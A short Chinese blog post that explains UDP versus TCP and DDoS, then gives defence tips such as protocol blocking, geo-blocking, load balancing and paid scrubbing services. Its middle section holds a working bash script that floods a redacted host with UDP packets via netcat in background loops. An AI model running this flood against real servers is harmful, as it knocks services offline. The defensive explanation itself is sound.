上一次讲到了DDOS的几种方式 https://www.ycyaw.com/it/394.html ,这里使用比较简单的UDP流量包来模拟一下,浅谈一下如何做防御
简单的讲TCP和UDP
这张图片模拟了TCP的三次握手四次挥手,而UDP直接没有握手和挥手的过程,直接传输数据,所以安全性是最大的区别
怎么理解DDOS
其实就是长时间占用你的带宽,或者把你的带宽撑爆,让你无法运行业务
模拟DDOS场景
使用一台虚拟机多线程发送UDP随机大小数据包,并且使用FOR循环多次发送达到一定次数
#!/bin/bash
# 生成1000字节大小的随机数据
dd if=/dev/urandom of=data bs=1000 count=1
# 多线程发送数据包
for ((i=1; i <= 8; i++))
do
echo "Sending messages in thread $i"
for ((j=1; j <= 10000; j++))
do
cat data | nc -u -w0 xxxxxxx 80 > /dev/null &
done
done
# 等待所有nc进程执行完成
wait
# 删除生成的随机数据文件
rm -f data
如何防御
传输协议
一般UDP的流量包都比较廉价,所以市面上很多DDOS攻击都是UDP或者ICMP流量包,可以把这两种协议禁掉(部分机房支持)
地域封禁
一般发送攻击的都是国外的服务器,因为国内的话攻击者很难找到不正规的服务器,所以可以把国外的地址全部禁止访问,也是很不错的策略,只不过需要你的网站客户没有国外群体的话
架构
大型业务才考虑用架构解决,可以负载均衡减少负担,可以用物理防火墙设备清洗流量等等
堆钱
买硬抗防御,比如CDN,高防IP,云清洗等等
原创文章,作者:忆秋先生,如若转载,请注明出处:https://www.ycyaw.com/it/451.html